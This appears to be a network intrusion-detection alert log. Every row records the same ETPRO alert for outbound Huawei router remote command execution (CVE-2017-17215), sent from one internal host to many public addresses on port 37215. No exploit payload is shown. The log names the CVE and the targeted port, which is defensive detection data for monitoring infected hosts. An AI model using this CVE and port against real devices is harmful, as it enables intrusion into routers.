2024-09-25T14:14:57.286463+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38416	197.70.32.23	37215	TCP
2024-09-25T14:14:57.288363+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45692	41.152.220.25	37215	TCP
2024-09-25T14:14:57.349372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37170	41.143.106.109	37215	TCP
2024-09-25T14:14:57.364552+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41394	156.213.155.166	37215	TCP
2024-09-25T14:14:58.220193+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53664	197.174.74.70	37215	TCP
2024-09-25T14:14:58.220201+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43294	197.233.85.180	37215	TCP
2024-09-25T14:14:58.220217+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59542	41.56.222.112	37215	TCP
2024-09-25T14:14:58.220238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51952	41.92.84.230	37215	TCP
2024-09-25T14:14:58.221631+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53896	197.168.92.141	37215	TCP
2024-09-25T14:14:58.221927+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33850	41.207.118.218	37215	TCP
2024-09-25T14:14:58.223977+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55590	156.11.56.183	37215	TCP
2024-09-25T14:14:58.224428+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49234	197.55.144.242	37215	TCP
2024-09-25T14:14:58.237876+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59310	156.21.226.48	37215	TCP
2024-09-25T14:14:58.239526+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45794	197.21.69.166	37215	TCP
2024-09-25T14:14:58.255367+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58226	41.218.94.217	37215	TCP
2024-09-25T14:14:58.266962+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57224	156.212.26.232	37215	TCP
2024-09-25T14:14:58.286476+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38720	197.2.54.37	37215	TCP
2024-09-25T14:14:58.286592+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52692	156.240.7.173	37215	TCP
2024-09-25T14:14:58.361544+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47194	41.183.202.234	37215	TCP
2024-09-25T14:14:58.376590+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45042	197.216.2.19	37215	TCP
2024-09-25T14:14:59.267202+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39788	41.37.153.163	37215	TCP
2024-09-25T14:14:59.282858+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52530	41.185.219.40	37215	TCP
2024-09-25T14:14:59.282869+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47518	156.119.193.85	37215	TCP
2024-09-25T14:14:59.318106+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34490	197.102.215.224	37215	TCP
2024-09-25T14:14:59.330476+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45778	197.12.87.128	37215	TCP
2024-09-25T14:14:59.407051+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55564	197.135.126.192	37215	TCP
2024-09-25T14:14:59.407693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60906	41.100.42.27	37215	TCP
2024-09-25T14:14:59.413157+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40134	41.201.61.51	37215	TCP
2024-09-25T14:14:59.423302+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37724	41.164.133.16	37215	TCP
2024-09-25T14:14:59.423706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55528	156.207.120.57	37215	TCP
2024-09-25T14:14:59.427045+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46226	197.52.161.225	37215	TCP
2024-09-25T14:14:59.427138+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47440	197.73.251.112	37215	TCP
2024-09-25T14:14:59.503255+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35556	197.238.88.141	37215	TCP
2024-09-25T14:14:59.532624+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42412	156.150.206.133	37215	TCP
2024-09-25T14:15:00.349168+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58908	156.11.213.60	37215	TCP
2024-09-25T14:15:00.407868+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55686	156.33.19.186	37215	TCP
2024-09-25T14:15:00.517081+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48454	41.120.99.251	37215	TCP
2024-09-25T14:15:01.284368+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53336	156.252.141.191	37215	TCP
2024-09-25T14:15:01.314669+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56310	197.210.88.170	37215	TCP
2024-09-25T14:15:01.317986+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49634	197.115.109.64	37215	TCP
2024-09-25T14:15:02.361374+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54440	41.135.90.165	37215	TCP
2024-09-25T14:15:02.458410+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37384	156.245.225.208	37215	TCP
2024-09-25T14:15:02.923785+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49728	41.175.242.229	37215	TCP
2024-09-25T14:15:04.505417+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39832	41.140.180.238	37215	TCP
2024-09-25T14:15:05.538527+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34266	197.216.10.0	37215	TCP
2024-09-25T14:15:06.407766+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35900	197.11.38.73	37215	TCP
2024-09-25T14:15:08.423215+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34478	41.101.159.171	37215	TCP
2024-09-25T14:15:08.423404+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59170	197.176.62.220	37215	TCP
2024-09-25T14:15:08.423477+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55588	41.116.251.198	37215	TCP
2024-09-25T14:15:08.423573+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54188	197.0.64.57	37215	TCP
2024-09-25T14:15:08.423750+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41552	197.236.251.243	37215	TCP
2024-09-25T14:15:08.424206+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43880	41.91.89.222	37215	TCP
2024-09-25T14:15:08.439154+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59364	41.119.5.187	37215	TCP
2024-09-25T14:15:08.439322+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53654	156.116.201.206	37215	TCP
2024-09-25T14:15:08.442758+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50126	197.175.138.122	37215	TCP
2024-09-25T14:15:08.475922+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45656	41.45.161.209	37215	TCP
2024-09-25T14:15:08.489779+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58628	156.11.104.117	37215	TCP
2024-09-25T14:15:10.471543+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44308	156.25.87.187	37215	TCP
2024-09-25T14:15:10.554161+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56386	156.216.130.118	37215	TCP
2024-09-25T14:15:11.533656+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56482	41.81.164.7	37215	TCP
2024-09-25T14:15:12.572309+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40634	197.4.70.151	37215	TCP
2024-09-25T14:15:13.782935+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60500	156.103.99.205	37215	TCP
2024-09-25T14:15:13.798604+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59774	156.181.31.148	37215	TCP
2024-09-25T14:15:13.798628+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54914	156.137.108.124	37215	TCP
2024-09-25T14:15:13.798663+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52466	197.57.51.7	37215	TCP
2024-09-25T14:15:13.799086+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40764	41.105.134.1	37215	TCP
2024-09-25T14:15:13.799127+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57260	197.16.212.100	37215	TCP
2024-09-25T14:15:13.799175+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60230	197.86.70.147	37215	TCP
2024-09-25T14:15:13.799235+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47366	156.208.251.234	37215	TCP
2024-09-25T14:15:13.800034+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34170	156.217.107.108	37215	TCP
2024-09-25T14:15:13.800132+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39586	156.13.72.236	37215	TCP
2024-09-25T14:15:13.800252+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50798	41.231.135.23	37215	TCP
2024-09-25T14:15:13.800419+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35232	197.137.42.47	37215	TCP
2024-09-25T14:15:13.804071+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37798	197.222.1.160	37215	TCP
2024-09-25T14:15:13.814020+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59216	41.247.103.252	37215	TCP
2024-09-25T14:15:13.815738+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35714	156.148.233.33	37215	TCP
2024-09-25T14:15:13.833862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40488	41.11.137.183	37215	TCP
2024-09-25T14:15:16.829984+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59716	197.106.9.168	37215	TCP
2024-09-25T14:15:16.829994+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60708	41.213.215.221	37215	TCP
2024-09-25T14:15:16.862769+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59138	197.58.53.15	37215	TCP
2024-09-25T14:15:16.864809+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43452	156.46.29.246	37215	TCP
2024-09-25T14:15:16.866633+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50804	197.107.183.30	37215	TCP
2024-09-25T14:15:16.866693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36944	41.234.24.231	37215	TCP
2024-09-25T14:15:17.190187+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56802	197.7.115.15	37215	TCP
2024-09-25T14:15:17.190855+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39762	41.57.90.147	37215	TCP
2024-09-25T14:15:18.931476+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41998	197.247.239.148	37215	TCP
2024-09-25T14:15:18.931484+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55758	197.149.97.5	37215	TCP
2024-09-25T14:15:18.931488+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42926	156.175.213.215	37215	TCP
2024-09-25T14:15:18.931498+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36112	197.193.7.152	37215	TCP
2024-09-25T14:15:18.931500+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40248	197.140.221.133	37215	TCP
2024-09-25T14:15:18.931515+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46314	41.89.220.237	37215	TCP
2024-09-25T14:15:18.931522+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46584	41.16.24.197	37215	TCP
2024-09-25T14:15:18.932342+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51226	41.24.91.57	37215	TCP
2024-09-25T14:15:18.932351+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35504	41.92.23.198	37215	TCP
2024-09-25T14:15:18.932351+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34452	197.47.141.171	37215	TCP
2024-09-25T14:15:19.191312+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57486	197.23.119.125	37215	TCP
2024-09-25T14:15:19.205322+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60556	41.131.77.42	37215	TCP
2024-09-25T14:15:19.944861+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40318	197.149.17.223	37215	TCP
2024-09-25T14:15:20.251757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38470	197.246.4.176	37215	TCP
2024-09-25T14:15:20.255507+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51274	41.41.167.228	37215	TCP
2024-09-25T14:15:20.939334+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32942	41.156.119.25	37215	TCP
2024-09-25T14:15:20.939484+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54160	156.230.226.26	37215	TCP
2024-09-25T14:15:20.939554+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59478	41.129.214.90	37215	TCP
2024-09-25T14:15:20.939730+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58832	197.71.216.46	37215	TCP
2024-09-25T14:15:20.939819+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36974	197.152.171.86	37215	TCP
2024-09-25T14:15:20.940032+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56860	41.114.210.56	37215	TCP
2024-09-25T14:15:20.941312+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49890	41.200.102.33	37215	TCP
2024-09-25T14:15:20.943043+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41740	41.230.76.157	37215	TCP
2024-09-25T14:15:20.945172+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60774	156.155.229.161	37215	TCP
2024-09-25T14:15:20.954862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40474	41.80.127.101	37215	TCP
2024-09-25T14:15:20.954907+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38872	197.70.99.57	37215	TCP
2024-09-25T14:15:20.971208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39986	156.123.145.183	37215	TCP
2024-09-25T14:15:20.988226+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40164	197.235.235.125	37215	TCP
2024-09-25T14:15:21.189191+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39118	156.23.251.110	37215	TCP
2024-09-25T14:15:21.189273+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45342	41.235.20.186	37215	TCP
2024-09-25T14:15:21.204715+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41200	41.126.193.229	37215	TCP
2024-09-25T14:15:21.205055+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43140	197.193.57.133	37215	TCP
2024-09-25T14:15:21.205068+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34172	197.226.46.134	37215	TCP
2024-09-25T14:15:21.205112+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45146	197.110.27.102	37215	TCP
2024-09-25T14:15:21.206353+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54766	41.211.45.210	37215	TCP
2024-09-25T14:15:21.206497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34480	197.241.244.237	37215	TCP
2024-09-25T14:15:21.206568+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46262	156.38.104.75	37215	TCP
2024-09-25T14:15:21.206683+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39344	41.190.110.11	37215	TCP
2024-09-25T14:15:21.208895+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56856	156.192.213.185	37215	TCP
2024-09-25T14:15:21.220366+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48096	41.77.197.130	37215	TCP
2024-09-25T14:15:22.220676+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49648	156.250.90.223	37215	TCP
2024-09-25T14:15:22.220975+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35694	197.189.122.210	37215	TCP
2024-09-25T14:15:22.221151+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34188	156.194.38.243	37215	TCP
2024-09-25T14:15:22.222238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50450	156.222.157.251	37215	TCP
2024-09-25T14:15:22.222517+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39696	156.129.220.0	37215	TCP
2024-09-25T14:15:22.222523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44102	41.22.152.11	37215	TCP
2024-09-25T14:15:22.222644+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58204	41.189.190.203	37215	TCP
2024-09-25T14:15:22.222655+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49164	156.91.216.76	37215	TCP
2024-09-25T14:15:22.224058+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43222	41.4.247.238	37215	TCP
2024-09-25T14:15:22.240647+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42892	41.221.138.166	37215	TCP
2024-09-25T14:15:22.256838+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50650	197.156.94.135	37215	TCP
2024-09-25T14:15:22.987646+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38834	41.218.183.213	37215	TCP
2024-09-25T14:15:22.989376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55124	156.56.249.107	37215	TCP
2024-09-25T14:15:23.002261+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46000	197.74.117.231	37215	TCP
2024-09-25T14:15:23.002361+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44614	41.244.218.72	37215	TCP
2024-09-25T14:15:23.002407+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50464	41.111.173.218	37215	TCP
2024-09-25T14:15:23.005620+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34656	156.228.233.179	37215	TCP
2024-09-25T14:15:23.005963+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40958	156.25.252.77	37215	TCP
2024-09-25T14:15:23.229465+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56750	41.238.137.124	37215	TCP
2024-09-25T14:15:23.229476+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44006	197.121.75.64	37215	TCP
2024-09-25T14:15:23.229476+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34838	197.107.102.175	37215	TCP
2024-09-25T14:15:23.229487+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42812	197.139.171.201	37215	TCP
2024-09-25T14:15:23.229487+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49092	41.54.237.9	37215	TCP
2024-09-25T14:15:23.229555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33654	197.208.255.83	37215	TCP
2024-09-25T14:15:23.229557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45152	156.183.219.185	37215	TCP
2024-09-25T14:15:23.229565+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56338	41.169.90.245	37215	TCP
2024-09-25T14:15:23.229583+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35724	41.36.103.244	37215	TCP
2024-09-25T14:15:23.236067+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38320	41.54.47.156	37215	TCP
2024-09-25T14:15:23.257370+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51590	156.208.8.143	37215	TCP
2024-09-25T14:15:23.302695+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55530	197.111.187.55	37215	TCP
2024-09-25T14:15:24.873374+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33640	197.207.38.63	37215	TCP
2024-09-25T14:15:24.873395+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56594	156.69.178.135	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45664	197.185.10.79	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41484	197.196.40.220	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54678	156.79.243.59	37215	TCP
2024-09-25T14:15:24.873406+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35450	41.2.54.79	37215	TCP
2024-09-25T14:15:24.873414+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41228	41.137.127.252	37215	TCP
2024-09-25T14:15:25.033061+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58464	197.61.111.144	37215	TCP
